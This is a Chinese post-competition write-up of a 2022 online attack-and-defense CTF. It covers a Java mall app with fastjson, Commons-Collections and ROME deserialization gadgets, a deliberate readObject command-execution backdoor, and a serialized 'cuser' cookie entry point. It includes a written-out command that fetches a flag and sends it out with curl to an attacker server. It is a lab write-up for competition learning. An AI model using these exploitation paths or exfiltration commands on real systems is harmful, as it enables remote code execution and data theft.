2022台州市赛线上AWD赛后小记

WriteUp 1年前 (2022) admin
614 0 0

赛制

比赛时间:4个小时,10分钟一轮,共24轮,无加固时间 计分规则:攻陷其他队伍服务器一次加10分,被其他队伍攻陷扣15分,check不通过扣100分,起始分5000分 赛题:一个Java、一个PHP(参赛说明并没有说,比赛的时候才知道)

吐槽

有以下几个点:

  1. 作为一个AWD比赛,没有加固时间,离谱

  2. 比赛check写的稀烂,赛后有部分参赛选手表示删站check都能过

  3. 因为没有加固时间,所以选手需要抢时间去维护机器和代审,比赛一共是需要维护两台机器,一个Java一个PHP,其中PHP算是AWD中的常客了,除了check有点离谱之外没有什么好说的。另外说说Java,因为Java并不像PHP那样,直接修改PHP文件就能完成加固,Java的题还需要选手手动修改并部署war包,还需要执行restart.sh脚本才能重启服务,并且加固给的SSH是物理机的ctf用户权限,而网站是部署在Docker里的,题目设计的本意是好的,但是没给加固时间且每轮的时间非常短暂,只有10分钟,所以直到最后排名稳定下来我才了解到整道题的意图

  4. 正因为check写的稀烂,所以攻和防两方面,选择攻击的效益是最高的,而防守方面,大多数队伍估计只修复了PHP题中最明显的后门以及CMS的弱口令等

  5. 开局后flagserver还变动,只在比赛平台中悄咪咪放了一个公告,所以在审到漏洞写好脚本准备批量打的时候有点迷

  6. 由于是线上比赛,给的IP端都是不连续的,这在一定程度上考验了选手编写脚本的能力,但是在比赛过程中却变动部分IP,所以选手还需要手动diff不同的IP,而且变动了两次

  7. 比赛规则说不能删站,不能上通防waf,违者扣分甚至取消比赛资格,实际上呢,到处都是通防waf

  8. 最后,也是我觉得整个赛制中最离谱的,参赛队伍竟然每台机器可以不扣分重置三次,这很不合理,通常线下比赛AWD想要重置机器需要参赛选手签字并且扣除一部分分值,毕竟自己把站修垮了,还可以免扣分重置,且重置还需要一部分时间,对于10分钟一轮频率比较高的赛制,既然重置不扣分,那干脆在新的一轮刷新的时候重置机器,这样其他队伍岂不是在重置那段时间打不到了

针对Java题做解析

一开始其实并没有看Java题,因为考虑到大家应该都是先审PHP,先打PHP,所以还是先看PHP,在打了几轮之后,该修的修了,该打的打了,就得去想办法审点Java的洞打一打拉开分差,毕竟AWD在经过几轮之后分差相对固定,此时除非别人check过不了或者自己审出了新漏洞,否则几乎拉不进名次 这次给的Java题大概环境如下:

  • ssh上去是一个ctf宿主机用户,权限不高,没法提权,存在Docker相关命令但是权限不够

  • ctf用户能操作的就是部署war包并且重启服务

  • 题目给了一个ROOT.war,里面是一个小米商城管理系统

因为是第一次在AWD里碰到Java,所以一开始也是挺迷茫的,不过还是直接下载了ROOT.war 抱着侥幸心理用D盾扫描了一下war包里的源码,还算有点收获:

  • 在pojo中的User实体类存在readObject,并且这里直接把password作为命令来执行


2022台州市赛线上AWD赛后小记

那其实截止目前就有两种思路:

  1. 找哪里调用了这个readObject,看看传入的输入流是否可控,如果可控并且有依赖直接打依赖的反序列化就可以

  2. 找password在哪里可控,如果是注册的时候可控,直接在password里命令执行即可

然而,由于每一轮只有十分钟,所以并没有沉下心去审计上面两点,而是直接转头去看pom依赖,由于pom依赖不好截图,这里直接截lib目录下图了:

  • CC3和CC4依赖

  • fastjson1.2.15

  • ROME

  • snakeyaml


2022台州市赛线上AWD赛后小记

2022台州市赛线上AWD赛后小记

只能说是要素非常齐全了,基本上常见的利用链都能打,在比赛过程中我第一眼看到的是fastjson,毕竟CC、ROME、snakeyaml在我的理解中还只算是gadget,如果没有反序列化入口就没法打,而fastjson利用的点就比较多了,基本上低版本的fastjson,只要用了fastjson都能打,而且也不用找入口,随便操作一下抓两个包,看到JSON格式的直接打就行 比赛中用的包是登录包,对应的路由是/user/email/ajax/check,由于这里的fastjson版本非常低,所以就用了1.2.24的payload

2022台州市赛线上AWD赛后小记

当然,打也是能打,如果是平常的CTF,一般发现存在漏洞,打通反弹shell就完事了 不过在AWD中,想要批量反弹shell其实是非常复杂的,所以最终的解决方案是:队友开一个msf,我一个个弹过去,如下图所示,基本上大家都没修,除了有几台机器打不开,正常的基本都能打

2022台州市赛线上AWD赛后小记

msf上线之后,就批量执行命令拿flag,当然,上线也花了二十来分钟,也就是说至少两轮的分数白给了 那为什么不想想其他办法呢?或者换个思路? 其实是因为比赛过程中比较仓促,想到用msf上线一次后就能批量执行,就用msf了,没有考虑其他更优的方法 赛后,和大哥们交流了一下,其中第二名的师傅用的是BCEL回显的方式,有了回显之后其实就非常方便了,写个脚本就完事,不用像我这个傻逼一样一边开着marshalsec、HTTPServer、nc去弹:

  • https://github.com/depycode/fastjson-local-echo


2022台州市赛线上AWD赛后小记

当然,最前面我用了D盾扫描,扫描到了一个用Runtime命令执行的点,不过用fastjson打的话并没有用到这个点,那如何用呢? 其实想用这个点就需要做一点审计工作了,在审计之前其实需要搭建环境,一开始没摸着头脑,直接拿sublime审,比赛过程中也不想去学习如何用IDEA审计war包中的内容(时间就是分数),当然现在会了(这里就不赘述了) 如果想要直接找哪里调用了这个readObject,通常会直接用find usages功能去找

2022台州市赛线上AWD赛后小记

可惜可惜,直接就是找不到

2022台州市赛线上AWD赛后小记

但是找不到不代表没有,找不到的原因是在传输的时候做了强制类型转换,而笨比IDEA是找不到这样的用法的 那咋办,那就直接搜索字符串,由于代码量也比较小,所以最终搜素出来的结果也只有一个:

  • 入口点其实就在Cookie的cuser中


2022台州市赛线上AWD赛后小记

那比赛中没有那么多时间去搭建环境并审计可怎么办呢? 那就十分吃Java经验了: 比较细心的同学可能会在抓包的时候发现Cookie中就含有cuser字样,并且是以rO0ABXA=打头的,常打CTF的Java题应该都知道,这其实就是序列化字符经过base64编码之后的字样,通常CTF都会设计一个反序列化入口,需要选手传入Base64之后的序列化字符,而这样的Payload一般就以rO0ABXA=打头

2022台州市赛线上AWD赛后小记

所以即使不搭建环境审计代码,细心一点也能发现反序列化入口 针对这套题的漏洞分析就这么多,那么讲讲如何批量打,毕竟有漏洞不会刷分就是憨批(是我): 来自Xux师傅的方法,反序列化打cuser,命令执行的点就不弹shell了,直接curl命令外带即可:

  • 43.136.168.189是flagserver

  • 把curl执行出来的flag给flag环境变量,然后curl外带到自己的服务器

flag=`curl http://43.136.168.189/index.php?token=3665_USR-20221125-6uv1t`;curl vps:2333?flag=$flag

当然为了实现自动化,Xux师傅在vps上写了一个flask用于循环接收flag,只能说TQL 好,最后小结一下,目前以下几个漏洞点以及打法:

  1. 和打靶机一样,打fastjson,一个个弹shell,弹shell之后上线msf,批量执行拿flag(弊端:一开始上线费时间,需要十来分钟一个个打)

  2. fastjson反序列化回显(最优的选择,写脚本也很方便)

  3. 把cuser作为反序列化入口打CC、ROME等利用链(需要外带flag,写脚本也能写,就是有点复杂,需要较强的脚本编写能力)

  4. 打pojo中的Runtime(因为赛后复现就只弄了个war包起了基本环境,比赛过程中好像是有数据库的,应该可以通过注册用户,然后在密码里面写命令来执行代码,不大确定)

如何防御?

都没check防个毛,直接删站保平安




原文始发于微信公众号(7coinSec):2022台州市赛线上AWD赛后小记

版权声明:admin 发表于 2022年11月28日 下午8:27。
转载请注明:2022台州市赛线上AWD赛后小记 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...